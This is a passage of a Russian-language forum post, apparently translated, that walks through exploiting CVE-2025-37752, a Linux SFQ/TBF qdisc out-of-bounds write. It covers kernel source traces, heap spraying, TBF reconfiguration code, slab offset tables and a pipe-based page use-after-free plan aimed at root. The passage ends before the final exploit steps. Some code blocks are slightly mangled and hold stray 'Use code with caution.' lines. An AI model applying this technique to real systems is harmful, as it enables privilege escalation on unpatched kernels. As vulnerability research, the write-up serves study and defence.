• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья [CVE-2025-37752] Два байта безумия: взлом ядра Linux с помощью записи 0x0000 на 262636 байт за пределы буфера

S3VE7N

RAM
Пользователь
Регистрация
02.08.2022
Сообщения
127
Реакции
154
Депозит
0.0001
[CVE-2025-37752] Два байта безумия: взлом ядра Linux с помощью записи 0x0000 на 262636 байт за пределы буфера


1749362644836.png
CVE-2025-37752 — это уязвимость типа «выход за пределы массива» (Array-Out-Of-Bounds) в планировщике сетевых пакетов ядра Linux, а именно в дисциплине организации очередей SFQ. Некорректный лимит SFQ и серия взаимодействий между SFQ и дисциплиной очереди (Qdisc) TBF могут привести к записи значения 0x0000 примерно на 256 КБ за пределы выделенной области по невыровненному смещению. При правильной эксплуатации это может привести к повышению привилегий.
Обзор
SFQ — это бесклассовая дисциплина организации очередей, предназначенная для обеспечения справедливого распределения пропускной способности между различными потоками сетевых данных.

При использовании в качестве дочерней по отношению к дисциплине очереди TBF, если лимит SFQ установлен в единицу, серия взаимодействий между двумя дисциплинами может привести к целочисленному переполнению вниз (underflow) в функции sfq_dec(), если значение qlen дисциплины очереди уменьшается с нуля. Это может привести к записи 16-битного значения примерно на 256 КБ за пределы выделенной области, когда переполненное значение qlen используется в качестве индекса в массиве dep структуры sfq_sched_data в функции sfq_link().

Изначальный сбой был вызван Syzkaller и исправлен Google. Однако первоначальный патч всё ещё можно было обойти, что позволяло косвенно установить лимит в единицу. Ошибка была исправлена коммитами 8c0cea59d40cf6dd13c2950437631dd614fbade6 и b3bf8f63e6179076b57c9de660c9f80b5abefe70. Первый коммит создал временную область для обработки параметров Qdisc, в то время как второй перенёс проверку лимита в конец функции. Все версии ядра до этих коммитов, в которых включены опции CONFIG_NET_SCH_SFQ и CONFIG_USER_NS, являются уязвимыми.

В этой статье, после анализа уязвимости, мы рассмотрим, как я прошёл путь от «Это всего лишь DoS» до «Это невозможно эксплуатировать» и в конечном итоге вызвал page-UAF, который позволил мне скомпрометировать все инстансы kernelCTF от Google одним и тем же бинарным файлом.
  • Спрей (Spray) объектов sfq_slots в кэше kmalloc-64, чтобы предотвратить немедленный сбой ядра при срабатывании уязвимости.
  • Предотвращение извлечения из очереди skb с путаницей типов (type confusion) путем реконфигурации TBF Qdisc. Снижение скорости TBF и добавление оверхеда для пакетов до того, как произойдёт запись за пределы буфера.
  • Использование записи 0x0000 на 262636 байт за пределы буфера для повреждения поля pipe->files именованного канала, освобождение канала, вызов UAF на уровне страницы и получение произвольного чтения/записи на этой странице.
  • Перезахват (reclaim) освобождённой страницы с помощью файлов signalfd и использование примитива чтения/записи на уровне страницы для подмены поля file->private_data на file->f_cred.
  • Получение прав root путем перезаписи учётных данных процесса нулями через системный вызов signalfd4().

Анализ уязвимости


При инициализации дисциплины очереди (Qdisc) SFQ вызывается функция sfq_change(). Несмотря на первоначальную проверку, явно запрещающую установку лимита равного единице, лимит Qdisc всё равно можно косвенно установить в это значение при обновлении других параметров Qdisc:

C:
static int sfq_change(struct Qdisc *sch, struct nlattr *opt,
struct netlink_ext_ack *extack)
{
// ...
// Первоначальная проверка, запрещающая limit == 1
if (ctl->limit == 1) {
    NL_SET_ERR_MSG_MOD(extack, "invalid limit");
    return -EINVAL;
}

// ...

if (ctl->flows)
    q->maxflows = min_t(u32, ctl->flows, SFQ_MAX_FLOWS);
if (ctl->divisor) {
    q->divisor = ctl->divisor;
    q->maxflows = min_t(u32, q->maxflows, q->divisor);
}
if (ctl_v1) {
    if (ctl_v1->depth)
        q->maxdepth = min_t(u32, ctl_v1->depth, SFQ_MAX_DEPTH);
    // ...
}
if (ctl->limit) {
    // Здесь, если q->maxdepth = 1 и q->maxflows = 1,
    // вышеупомянутую проверку ctl->limit == 1 можно обойти, и q->limit будет установлен в 1
    q->limit = min_t(u32, ctl->limit, q->maxdepth * q->maxflows);
    q->maxflows = min_t(u32, q->maxflows, q->limit);
}

// ...
Use code with caution.
}
Поле q->limit определяет максимальное количество пакетов в очереди Qdisc. В функции sfq_enqueue(), когда поступает новый пакет, если длина очереди Qdisc (также известная как qlen) превышает этот лимит, пакет отбрасывается:

C:
static int
sfq_enqueue(struct sk_buff *skb, struct Qdisc *sch, struct sk_buff **to_free)
{
// ...
if (++sch->q.qlen <= q->limit)
    return NET_XMIT_SUCCESS;

qlen = slot->qlen;
dropped = sfq_drop(sch, to_free);

// ...
Use code with caution.
}

Если q->limit установлен в единицу и пакеты отправляются на сетевой интерфейс в виде пачки (burst), сложная цепочка взаимодействий между TBF и SFQ может привести к множеству ошибок, включая уязвимость записи за пределы массива.

Давайте пошагово рассмотрим, что произойдёт, если мы отправим три пакета в виде пачки на сетевой интерфейс, настроенный следующим образом:

Bash:
qdisc tbf 1: root refcnt 2 rate 640bit burst 100b lat 124s
qdisc sfq 2: parent 1:10 limit 1p quantum 1014b depth 1 divisor 1024

Отправляется пакет A (skb_A)
Вызывается tbf_enqueue(), которая, в свою очередь, вызывает sfq_enqueue(). Пакет корректно ставится в очередь, qlen SFQ увеличивается до 1:

C:
tbf_enqueue()
qdisc_enqueue()
sfq_enqueue() // qlen SFQ равен 0
slot = q->slots[0]
slot_queue_add()
slot->skblist_next = skb_A
slot->skblist_prev = skb_A
q->tail = slot
++sch->q.qlen // qlen SFQ = 1
// qlen SFQ <= limit, skb_A ставится в очередь

Вызывается tbf_dequeue(). Поскольку список sch->gso_skb пуст, вызывается sfq_dequeue(), и пакет корректно извлекается из очереди. qlen SFQ уменьшается до 0. Пока всё хорошо:

C:
tbf_dequeue()
qdisc_peek_dequeued()
skb_peek(&sch->gso_skb) // sch->gso_skb пуст
sfq_dequeue() // qlen SFQ равен 1
slot = q->tail
slot_dequeue_head()
skb_A = slot->skblist_next
slot->skblist_next = slot
slot->skblist_prev = slot
sch->q.qlen-- // qlen SFQ = 0
__skb_queue_head(&sch->gso_skb, skb);
sch->q.qlen++ // qlen SFQ = 1
// У TBF достаточно токенов, поэтому пакет можно извлечь
qdisc_dequeue_peeked()
skb_A = __skb_dequeue(&sch->gso_skb)
sch->q.qlen-- // qlen SFQ = 0

Отправляется пакет B (skb_B)
Вызывается tbf_enqueue(), которая, в свою очередь, вызывает sfq_enqueue(). Пакет корректно ставится в очередь, qlen SFQ увеличивается до 1:

C:
tbf_enqueue()
qdisc_enqueue()
sfq_enqueue() // qlen SFQ равен 0
slot = q->slots[0]
slot_queue_add()
slot->skblist_next = skb_B
slot->skblist_prev = skb_B
q->tail = slot
++sch->q.qlen // qlen SFQ = 1
// qlen SFQ <= limit, skb_B ставится в очередь

Вызывается tbf_dequeue(), которая, в свою очередь, вызывает sfq_dequeue(). Пакет корректно извлекается из очереди SFQ, но у TBF закончились токены, поэтому она перепланирует свою работу на более позднее время с помощью qdisc_watchdog_schedule_ns(). qlen SFQ остаётся равным 1, так как пакет B всё ещё считается находящимся в очереди (на самом деле он находится в списке gso_skb):

C:
tbf_dequeue()
qdisc_peek_dequeued()
skb_peek(&sch->gso_skb) // sch->gso_skb пуст
sfq_dequeue() // qlen SFQ равен 1
slot = q->tail
slot_dequeue_head()
skb_B = slot->skblist_next
slot->skblist_next = slot
slot->skblist_prev = slot
sch->q.qlen-- // qlen SFQ = 0
__skb_queue_head(&sch->gso_skb, skb);
sch->q.qlen++ // qlen SFQ = 1
// У TBF заканчиваются токены, перепланирует себя на потом
qdisc_watchdog_schedule_ns()
Use code with caution.

Отправляется пакет C (skb_C)
Вызывается tbf_enqueue(), которая, в свою очередь, вызывает sfq_enqueue(). Пакет C добавляется в первый слот SFQ, q->tail устанавливается в slot, а qlen SFQ увеличивается с 1 (пакет B всё ещё в очереди!) до 2. Однако, поскольку qlen теперь больше, чем q->limit, пакет отбрасывается.

Функция sfq_drop() использует slot_dequeue_tail() для удаления пакета из слота. Теперь поля slot->skblist_next и slot->skblist_prev указывают на сам слот. Наконец, qlen SFQ уменьшается до 1:

Обратите внимание, что q->tail на данном этапе не равен NULL, он всё ещё соответствует slot, но теперь slot->skblist_next и slot->skblist_prev указывают на сам слот, а не на корректный sk_buff.

C:
tbf_enqueue()
qdisc_enqueue()
sfq_enqueue() // qlen SFQ = 1
slot = q->slots[0]
slot_queue_add()
slot->skblist_next = skb_C
slot->skblist_prev = skb_C
q->tail = slot // [1]
++sch->q.qlen // qlen SFQ = 2
// qlen SFQ > limit, skb_C отбрасывается
sfq_drop()
slot_dequeue_tail()
// skb_C удалён из слота
slot->skblist_next = slot
slot->skblist_prev = slot
sch->q.qlen-- // qlen SFQ = 1

Функция tbf_dequeue() пытается извлечь пакет B из списка sch->gso_skb, но у неё всё ещё нет токенов, поэтому она снова перепланирует свою работу:

C:
tbf_dequeue()
qdisc_peek_dequeued()
skb_peek(&sch->gso_skb) // sch->gso_skb НЕ пуст (содержит пакет B)
// У TBF всё ещё нет токенов, перепланирует себя на потом
qdisc_watchdog_schedule_ns()

Срабатывает первый таймер qdisc-watchdog
Примерно через 1 секунду (время зависит от конфигурации TBF) срабатывает сторожевой таймер Qdisc, и снова вызывается tbf_dequeue(). Пакет B удаляется из списка sch->gso_skb и корректно извлекается из очереди. qlen SFQ уменьшается до 0:

C:
tbf_dequeue()
qdisc_peek_dequeued()
skb_peek(&sch->gso_skb) // sch->gso_skb НЕ пуст
qdisc_dequeue_peeked()
skb_B = __skb_dequeue(&sch->gso_skb) // Удаление пакета из sch->gso_skb
sch->q.qlen-- // qlen SFQ = 0

Срабатывает второй таймер qdisc-watchdog (и всё идёт не так)
Срабатывает второй сторожевой таймер Qdisc. Теперь список sch->gso_skb пуст, поэтому вызывается sfq_dequeue(). Однако, поскольку q->tail не равен NULL, для извлечения skb используется slot_dequeue_head(). Проблема возникает из-за того, что slot_dequeue_tail() в sfq_drop() установила slot->skblist_next и slot->skblist_prev в адрес самого слота, поэтому возникает путаница типов (type confusion) между sk_buff и sfq_slot.

Затем вызывается sfq_dec(), и qlen слота SFQ уменьшается с нуля, что приводит к целочисленному переполнению вниз. Переполненное значение qlen впоследствии используется как индекс в массиве q->dep (здесь q — это структура sfq_sched_data), и именно здесь происходит запись за пределы буфера:

C:
tbf_dequeue()
qdisc_peek_dequeued()
skb_peek(&sch->gso_skb) // sch->gso_skb пуст
sfq_dequeue() // qlen SFQ = 0
slot = q->tail
slot_dequeue_head()
skb = slot->skblist_next // но slot->skblist_next = slot, ПУТАНИЦА ТИПОВ!
sfq_dec()
q->slots[0].qlen--; // qlen SFQ = 0xFFFF, ПЕРЕПОЛНЕНИЕ!
sfq_link()
qlen = slot->qlen // 0xFFFF
...
q->dep[qlen].next = 0; // 0x0000 записано за пределы буфера!
// У TBF заканчиваются токены, перепланирует себя на потом
qdisc_watchdog_schedule_ns()
Use code with caution.

Интересно, что FizzBuzz101 и я недавно обнаружили ошибку, которая позволяла нам вызвать сбой в пяти различных Qdisc. Изначально мы думали, что первопричина была иной, но благодаря разработчику ядра Конгу Вану мы провели дальнейший анализ и поняли, что это было связано с взаимодействием между Qdisc и TBF, очень похожим на описанный выше случай! Обсуждение можно найти здесь.
Углублённый анализ (Время GDB)


С помощью GDB мы можем проследить, что происходит, когда сторожевой таймер Qdisc срабатывает во второй раз и запускается серия ошибок. Установив точку останова в sfq_dequeue(), мы можем ясно видеть, что после вызова slot_dequeue_head() возвращаемый адрес skb и адрес sfq_slot совпадают. Произошла путаница типов:

C:
static struct sk_buff *
sfq_dequeue(struct Qdisc *sch)
{
// ...
a = q->tail->next; // a = 0
slot = &q->slots[a]; // получен первый (и единственный) слот

// ...

skb = slot_dequeue_head(slot); // Путаница типов, skb - это sfq_slot!
sfq_dec(q, a); // Запись за пределы буфера

// ...
Use code with caution.
}
static inline struct sk_buff *slot_dequeue_head(struct sfq_slot *slot)
{
struct sk_buff *skb = slot->skblist_next; // slot->skblist_next == slot, так что skb = slot
slot->skblist_next = skb->next;
skb->next->prev = (struct sk_buff *)slot;
skb->next = skb->prev = NULL;
return skb;
Use code with caution.
}

1749362814223.png
Если мы войдём в функцию sfq_dec(), мы сможем наблюдать, как qlen слота уменьшается с 0, вызывая переполнение вниз (qlen — это u16, поэтому оно станет 0xFFFF):

C:
static inline void sfq_dec(struct sfq_sched_data *q, sfq_index x) // x = 0x0000
{
sfq_index p, n;
int d;
// ...
d = q->slots[x].qlen--; // Переполнение, qlen = 0xFFFF
// ...

sfq_link(q, x);
Use code with caution.
}

1749362870541.png
Наконец, войдя в sfq_link(), мы видим, как значение qlen, теперь равное 0xFFFF, используется в качестве индекса в массиве dep структуры sfq_sched_data. Поскольку этот массив может содержать максимум SFQ_MAX_DEPTH + 1 (127 + 1) объектов, каждый размером 16 байт, индекс 0xFFFF вызовет запись за пределы буфера:

C:
static inline void sfq_link(struct sfq_sched_data *q, sfq_index x)
{
sfq_index p, n;
struct sfq_slot *slot = &q->slots[x];
int qlen = slot->qlen; // qlen = 0xFFFF
// ...

q->dep[qlen].next = x; // 0x0000 записано за пределы буфера
sfq_dep_head(q, n)->prev = x;
Use code with caution.
}

1749362924658.png
Мы знаем адрес sfq_sched_data и смещение sfq_sched_data (privdata) в структуре Qdisc (0x180 байт). Из этого мы можем вывести адрес текущего объекта Qdisc.

Используя GDB, мы также можем определить, куда именно за пределы буфера записывается 0x0000. Вычитая адрес текущего объекта из этого значения, мы можем получить расстояние между объектом Qdisc и адресом-жертвой:

Код:
sfq_sched_data_addr = 0xffff88802e537980
oob_write_addr = 0xffff88802e5779ec
privdata_offset_in_qdisc = 0x180 # смещение sfq_sched_data в Qdisc
qdisc_addr = sfq_sched_data_addr - privdata_offset_in_qdisc
distance = oob_write_addr - qdisc_addr
print(hex(distance)) # 0x401EC или 262636 байт

Итак, у нас есть запись 0x0000 всего на 262636 байт после уязвимого объекта Qdisc. Становится интересно.
Это не эксплуатируемо…


На этом этапе я, честно говоря, думал, что это невозможно эксплуатировать. Я также показал ошибку и дал краткое объяснение FizzBuzz101, и он согласился. Примитив записи за пределы буфера на 256+ КБ по невыровненному смещению (0x1EC) казался крайне ограниченным, и, как будто этого было недостаточно, ядро падало сразу после sfq_dec() из-за доступа к неверному указателю. Однако я решил упорствовать и продолжил дальнейшее исследование.
Нам нужно помнить, что из-за путаницы типов sk_buff/sfq_slot skb, возвращаемый slot_dequeue_head() в sfq_dequeue(), на самом деле не является skb, а скорее…

1749362999860.png

Доктор Зло пытается объяснить своей команде, что skb на самом деле не skb
Это означает, что каждый доступ к этому «skb» преобразуется в доступ к sfq_slot, что потенциально может привести к сбою. Например, ядро немедленно паникует сразу после записи за пределы буфера в sfq_dec() из-за доступа к неверному указателю в qdisc_bstats_update(sch, skb):

C:
static struct sk_buff *
sfq_dequeue(struct Qdisc *sch)
{
// ...
skb = slot_dequeue_head(slot); // Путаница типов, skb - это sfq_slot
sfq_dec(q, a); // Запись за пределы буфера!
qdisc_bstats_update(sch, skb); // Паника ядра! :(

// ...
Use code with caution.
}

Но это не единственная проблема, которую нам нужно решить, если мы хотим эксплуатировать уязвимость. Если «skb» будет извлечён из очередей как SFQ, так и TBF, это неизбежно приведёт к сбою при его дальнейшей обработке.

Стабилизация: устранение первой паники ядра в qdisc_bstats_update()

Первый сбой ядра происходит в qdisc_bstats_update(), сразу после вызова sfq_dec(). qdisc_bstats_update() определена следующим образом:

C:
#define skb_shinfo(SKB) ((struct skb_shared_info *)(skb_end_pointer(SKB)))
static inline void qdisc_bstats_update(struct Qdisc *sch,
const struct sk_buff *skb)
{
bstats_update(&sch->bstats, skb);
}
static inline void bstats_update(struct gnet_stats_basic_sync *bstats,
const struct sk_buff *skb)
{
_bstats_update(bstats,
qdisc_pkt_len(skb),
skb_is_gso(skb) ? skb_shinfo(skb)->gso_segs : 1); // [1]
}
static inline bool skb_is_gso(const struct sk_buff *skb)
{
return skb_shinfo(skb)->gso_size;
}
static inline unsigned char *skb_end_pointer(const struct sk_buff *skb)
{
return skb->head + skb->end;
}

Сбой вызван функцией bstats_update(). Эта функция использует skb_is_gso() для доступа к полю gso_size структуры skb_shared_info, связанной с sk_buff.

skb_is_gso() использует макрос skb_shinfo(), который, в свою очередь, использует skb_end_pointer(). Последний полагается на указатель skb->head и поле skb->end структуры sk_buff, чтобы определить, где заканчиваются данные пакета и начинается фактическая структура skb_shared_info.

Смещение поля head в структуре sk_buff равно 192 (offsetof(struct sk_buff, head) = 192), но в нашем случае «skb» на самом деле является sfq_slot, который выделяется в кэше kmalloc-64. Следовательно, доступ к skb->head по смещению 192 преобразуется в доступ к первому qword другого объекта в kmalloc-64, а именно к первому qword третьего объекта после «skb». Если этот qword не содержит действительного указателя, ядро падает при его разыменовании для доступа к полю ->gso_size.
Массив slots выделяется функцией sfq_init() с помощью sfq_alloc(), обёртки для kvmalloc. Каждый sfq_slot имеет размер 64 байта, и количество слотов в массиве зависит от q->maxflows. Наша конфигурация SFQ имеет только один поток, что приводит к выделению одного слота в kmalloc-64 для каждой Qdisc.
C:
// ...
q->slots = sfq_alloc(sizeof(q->slots[0]) * q->maxflows);
// ...
Если мы хотим предотвратить падение ядра, нам нужно заполнить slab-кэш kmalloc-64 объектами, у которых первый qword является действительным указателем. К счастью, нам не нужно далеко ходить. При инициализации sfq_slot первый и второй qword устанавливаются в его собственный адрес, так что мы можем подделать действительный указатель skb->head, выполнив спрей объектов sfq_slot в kmalloc-64.

C:
struct sfq_slot {
struct sk_buff *skblist_next;
struct sk_buff *skblist_prev;
// ...
};
static inline void slot_queue_init(struct sfq_slot *slot)
{
memset(slot, 0, sizeof(*slot));
slot->skblist_prev = slot->skblist_next = (struct sk_buff *)slot;
}

Смещение 192 относительно sfq_slot с путаницей типов будет соответствовать указателю slot->skblist_next третьего слота после текущего. Это приведёт к следующей ситуации:

1749363102378.png
Это была лёгкая победа. Теперь давайте разберёмся со второй паникой ядра, когда «skb» извлекается из очередей как SFQ, так и TBF.
Стабилизация: устранение второй паники ядра в validate_xmit_skb()
После путаницы типов и записи за пределы буфера, sfq_dequeue() вернёт «skb» с путаницей типов в tbf_dequeue(), которая, в свою очередь, вернёт его в dequeue_skb(). Эта функция передаст извлечённый «skb» в sch_direct_xmit(), которая вызовет validate_xmit_skb_list(). Это приведёт к вызову validate_xmit_skb(), где ядро упадёт из-за ещё одного доступа к неверному указателю:

C:
...
dequeue_skb()
tbf_dequeue()
sfq_dequeue()
sch_direct_xmit()
validate_xmit_skb_list()
validate_xmit_skb() // Паника ядра!

Я не буду слишком углубляться в это, но наличие sk_buff с путаницей типов с sfq_slot, блуждающего по ядру, — плохая идея. Поэтому, вместо того чтобы пытаться подделывать указатели в kmalloc-64, как мы делали для устранения предыдущего сбоя, мы хотим устранить первопричину и предотвратить извлечение пакета из очереди.
Я не смог найти способ помешать SFQ извлечь «skb», поэтому я решил сосредоточиться на TBF. Вот функция tbf_dequeue():

C:
static struct sk_buff *tbf_dequeue(struct Qdisc *sch)
{
struct tbf_sched_data *q = qdisc_priv(sch);
struct sk_buff *skb;
skb = q->qdisc->ops->peek(q->qdisc); // "skb" возвращён sfq_dequeue()

if (skb) {
    s64 now;
    s64 toks;
    s64 ptoks = 0;
    unsigned int len = qdisc_pkt_len(skb); // [6]

    now = ktime_get_ns();
    toks = min_t(s64, now - q->t_c, q->buffer);

    // ...

    toks += q->tokens; // [4]
    if (toks > q->buffer)
        toks = q->buffer; // [5]
    toks -= (s64) psched_l2t_ns(&q->rate, len); // [3]

    //  Здесь нам нужно, чтобы toks|ptoks было < 0
    if ((toks|ptoks) >= 0) { // [1]
        skb = qdisc_dequeue_peeked(q->qdisc);
        if (unlikely(!skb))
            return NULL;

        // ...

        return skb;
    }

    qdisc_watchdog_schedule_ns(&q->watchdog,
                   now + max_t(long, -toks, -ptoks)); // [2]

    qdisc_qstats_overlimit(sch);
}
return NULL;
Use code with caution.
}

В tbf_dequeue(), если количество оставшихся токенов больше нуля, пакет извлекается из очереди [1]. В противном случае Qdisc перепланирует свою работу на более позднее время с помощью qdisc_watchdog_schedule_ns() [2]. В этом случае противоположное число токенов соответствует количеству наносекунд, которое нужно подождать перед перепланированием.

Чтобы предотвратить извлечение пакета, нам нужно решить задачу минимизации/максимизации. Мы хотим минимизировать toks и максимизировать значение, возвращаемое psched_l2t_ns(), чтобы при вычитании этого значения из toks мы получили отрицательное число (чем меньше, тем лучше) [3].
Этот подход выглядит многообещающе, поскольку мы можем косвенно минимизировать toks, контролируя q->buffer и q->tokens в tbf_change() [4] [5]. Кроме того, мы можем (вероятно) максимизировать длину «пакета» skb (учитывая, что наш skb — это sfq_slot) [6], контролируя поля sfq_slot.

Попытка 1: Максимизация длины «пакета» (НЕУДАЧА)
Функция qdisc_pkt_len() вычисляет размер sk_buff, приводя буфер skb->cb к типу qdisc_skb_cb и затем получая доступ к полю pkt_len:

C:
static inline unsigned int qdisc_pkt_len(const struct sk_buff *skb)
{
return qdisc_skb_cb(skb)->pkt_len;
}
static inline struct qdisc_skb_cb *qdisc_skb_cb(const struct sk_buff *skb)
{
return (struct qdisc_skb_cb *)skb->cb;
}
struct sk_buff {
// ...
char cb[48]; /* 40 48 */
// ...
}
struct qdisc_skb_cb {
struct {
unsigned int pkt_len; /* 0 4 /
// ...
};
// ...
};

Как мы видим, offsetof(struct sk_buff, cb) = 40 и offsetof(struct qdisc_skb_cb, pkt_len) = 0. Наш «skb» — это sfq_slot, и смещение 40 (0x28 в шестнадцатеричной системе) пересекается (в инстансах Google kernelCTF LTS 6.6.8) с sfq_slot->vars.qcount.

Поле slot->vars.qcount автоматически устанавливается в -1 функцией red_set_vars(), когда новый пакет ставится в очередь в sfq_enqueue(). Так что нам повезло, так как при путанице типов это приведёт к очень большому размеру пакета, 0xFFFFFFFF.

Однако наша удача длилась недолго. Выравнивание памяти структуры sfq_slot отличается от системы к системе. В Google COS 105 и, как правило, в системах до Linux 6.6.8*, skb->cb.pkt_size пересекается с slot->vars.qavg.

LTS 6.6.84 (Google kernelCTF VRP)COS 105 (Google kernelCTF VRP)
C:
gef➤ ptype /ox struct sfq_slot
/* offset | size / type = struct sfq_slot {
...
/ XXX 4-byte hole /
/ 0x0028 | 0x0018 / struct red_vars {
/ 0x0028 | 0x0004 / int qcount;
/ 0x002c | 0x0004 / u32 qR;
/ 0x0030 | 0x0008 / unsigned long qavg;
/ 0x0038 | 0x0008 / ktime_t qidlestart;
} vars;
...
C:
gef➤ ptype /ox struct sfq_slot
/ offset | size / type = struct sfq_slot {
...
/ 0x0020 | 0x0018 / struct red_vars {
/ 0x0020 | 0x0004 / int qcount;
/ 0x0024 | 0x0004 / u32 qR;
/ 0x0028 | 0x0008 / unsigned long qavg;
/ 0x0030 | 0x0008 */ ktime_t qidlestart;
} vars;
...
Я не смог найти способ надёжно установить qavg в большое значение, и поскольку одной из моих целей было повторное использование одного и того же бинарного файла для эксплуатации всех инстансов Google kernelCTF, мне нужно было найти более универсальное решение.

Попытка 2: Реконфигурация TBF Qdisc до срабатывания сторожевого таймера (УСПЕХ)
Поскольку у нас есть прямой контроль над q->tokens и q->buffer в tbf_change(), мы могли бы попытаться перенастроить TBF Qdisc до того, как «skb» с путаницей типов будет извлечён из очереди, другими словами, до срабатывания второго сторожевого таймера.

Мы можем минимизировать q->tokens и q->buffer, снизив скорость TBF через TCA_TBF_RATE64. Кроме того, мы можем попытаться максимизировать длину пакета, добавив оверхед для пакета. Это значение будет добавлено к реальной длине пакета (ну, в нашем случае, «реальной»…) в psched_l2t_ns().

C:
struct tc_tbf_qopt opt = {
.limit = 10000,
.rate.overhead = 0xffff, // Добавить оверхед для пакета
};
options = nlmsg_alloc();
nla_put(options, TCA_TBF_PARMS, sizeof(opt), &opt);
nla_put_u32(options, TCA_TBF_BURST, 99);
nla_put_u64(options, TCA_TBF_RATE64, 1); // Снизить лимит скорости
nla_put_nested(msg, TCA_OPTIONS, options);

С новой конфигурацией, когда «skb» с путаницей типов будет извлекаться, у TBF закончатся токены, и он снова перепланирует свою работу, на этот раз на 18 часов позже. Вот краткое изложение того, что происходит:
sfq_dequeue() -> срабатывает запись за пределы буфера -> «skb» с путаницей типов возвращается в tbf_dequeue() -> у tbf_dequeue() заканчиваются токены -> перепланирует себя на 18 часов позже

1749363197014.png
65512964729825 наносекунд соответствуют примерно 65512 секундам, или около 18 часам — временное окно, которого должно быть достаточно для завершения процесса эксплуатации…
Два байта безумия


Наконец-то нам удалось стабилизировать ошибку, и мы можем вызывать уязвимость, не приводя к падению ядра. Но теперь... как её эксплуатировать? Запись 0x0000 на 256+ КБ за пределы буфера в неизвестное место в памяти не очень полезна.

Первым шагом может быть рассмотрение нашего примитива записи за пределы буфера на 262636 байт (или 0x401EC в шестнадцатеричной системе) как 0x40000 + 0x1EC, другими словами, прыжок на 256 КБ плюс некоторое невыровненное смещение внутри 4-килобайтной страницы. Это позволит нам разделить проблему на две части:

  • Нам нужно найти объект с полем, которое, будучи повреждённым, может предоставить нам полезные примитивы для эксплуатации. Это поле должно находиться по определённому смещению внутри страницы (Счётчик ссылок -> UAF?)
  • Нам нужно контролировать большие участки памяти ядра, чтобы максимизировать вероятность того, что запись 0x0000 попадёт в указанный объект-жертву, а не куда-либо ещё.

Поиск объекта-жертвы
SFQ Qdisc (struct Qdisc + struct sfq_sched_data) выделяется в kmalloc-2k. Мы знаем, что в kmalloc-2k каждый объект имеет размер 2048 байт. Таким образом, каждая 4-килобайтная страница может содержать два таких объекта.
Если мы попытаемся сделать так, чтобы 0x0000 попало на 4-килобайтную страницу, содержащую два других объекта kmalloc-2k, значение u16 может быть записано по двум разным смещениям: 0x1EC или 0x9EC, в зависимости от смещения атакующего объекта SFQ Qdisc на странице (+0x00 или +0x800).

Рассмотрим другой пример, на этот раз используя kmalloc-256 в качестве целевого кэша. Этот кэш требует одну страницу порядка 0 (4 КБ) и может содержать 16 объектов, каждый размером 256 байт. Если атакующий объект SFQ Qdisc выделен со смещением +0x00 на своей странице, 0x0000 повредит второй объект в kmalloc-256, а именно поле со смещением 236 внутри него. Если атакующий объект выделен со смещением +0x800, будет повреждён девятый объект, также по смещению 236.

1749363251665.png
А что насчёт невыровненных кэшей, например, kmalloc-192? Если атакующий объект SFQ Qdisc выделен со смещением +0x00 на 4-килобайтной странице, 0x0000 повредит третий объект в целевом slab-кэше, а именно поле со смещением 108 внутри него. Если смещение атакующего объекта +0x800, будет повреждён четырнадцатый объект, на этот раз поле со смещением 44:

1749363331183.png
Здесь я предоставлю вам таблицу, содержащую все данные кэш, (объект в slab, смещение в объекте) для каждого кэша общего назначения и для двух других кэшей, cred_jar и filp. Если вам удастся найти другой объект, который можно повредить для повышения привилегий на основе этих данных, пожалуйста, напишите мне, мне было бы очень интересно узнать о вашей стратегии!


КэшN 4KB страниц(Объект, Смещение)
kmalloc-81(62, 4), (318, 4)
kmalloc-161(31, 12), (159, 12)
kmalloc-321(16, 12), (80, 12)
kmalloc-641(8, 44), (40, 44)
kmalloc-961(6, 12), (27, 44)
kmalloc-1281(4, 108), (20, 108)
kmalloc-1921(3, 108), (14, 44)
kmalloc-2561(2, 236), (10, 236)
kmalloc-5122(1, 492), (5, 492), (9, 492), (13, 492)
kmalloc-1k4(1, 492), (3, 492), (5, 492), (7, 492), (9, 492), (11, 492), (13, 492), (15, 492)
kmalloc-2k8(1, 492), (2, 492), (3, 492), (4, 492), (5, 492), (6, 492), (7, 492), (8, 492), (9, 492), (10, 492), (11, 492), (12, 492), (13, 492), (14, 492), (15, 492), (16, 492)
kmalloc-4k8(1, 492), (1, 2540), (2, 492), (2, 2540), (3, 492), (3, 2540), (4, 492), (4, 2540), (5, 492), (5, 2540), (6, 492), (6, 2540), (7, 492), (7, 2540), (8, 492), (8, 2540)
kmalloc-8k8(1, 492), (1, 2540), (1, 4588), (1, 6636), (2, 492), (2, 2540), (2, 4588), (2, 6636), (3, 492), (3, 2540), (3, 4588), (3, 6636), (4, 492), (4, 2540), (4, 4588), (4, 6636)
cred_jar1(3, 108), (14, 44)
filp1(2, 236), (10, 236)


Имея эти данные, я использовал libksp, библиотеку Python, которую я разработал некоторое время назад, для преобразования структур ядра в объекты Python, что позволяет выполнять различные типы запросов. Для каждого кэша я искал структуры (и вложенные структуры) с полями размером 1, 2 и 4 байта, которые могли бы совпадать со смещениями, указанными в таблице выше.

Инструмент вернул очень большое количество результатов (~1400 совпавших полей, включая ложные срабатывания), но я не смог найти ничего полезного. В основном я искал счётчики ссылок, чтобы обнулить их и вызвать UAF.
Я уже был готов сдаться, но тут я заметил кое-что интересное...

1749363399434.png
Я уже использовал каналы (pipes) в нескольких эксплойтах, но не знал, как используется поле files, поэтому решил разобраться. pipe_inode_info определена следующим образом:

C:
struct pipe_inode_info {
struct mutex mutex; /* 0 32 /
wait_queue_head_t rd_wait; / 32 24 / [1]
wait_queue_head_t wr_wait; / 56 24 /
unsigned int head; / 80 4 /
unsigned int tail; / 84 4 /
unsigned int max_usage; / 88 4 /
unsigned int ring_size; / 92 4 /
unsigned int nr_accounted; / 96 4 /
unsigned int readers; / 100 4 /
unsigned int writers; / 104 4 /
unsigned int files; / 108 4 / [2]
unsigned int r_counter; / 112 4 /
unsigned int w_counter; / 116 4 /
bool poll_usage; / 120 1 /
struct page * tmp_page; / 128 8 /
struct fasync_struct * fasync_readers; / 136 8 /
struct fasync_struct * fasync_writers; / 144 8 /
struct pipe_buffer * bufs; / 152 8 /
struct user_struct * user; / 160 8 */
/* size: 168, cachelines: 3, members: 19 */
/* sum members: 161, holes: 1, sum holes: 7 */
/* last cacheline: 40 bytes */
Use code with caution.
};

С нашим примитивом записи за пределы буфера мы можем перезаписать pipe->files третьего канала в slab-кэше [2], если атакующий объект SFQ Qdisc выделен со смещением +0x00 на странице, или pipe->rd_wait [1] (очередь ожидания) четырнадцатого объекта в slab-кэше, если смещение атакующего объекта kmalloc-2k равно +0x800.

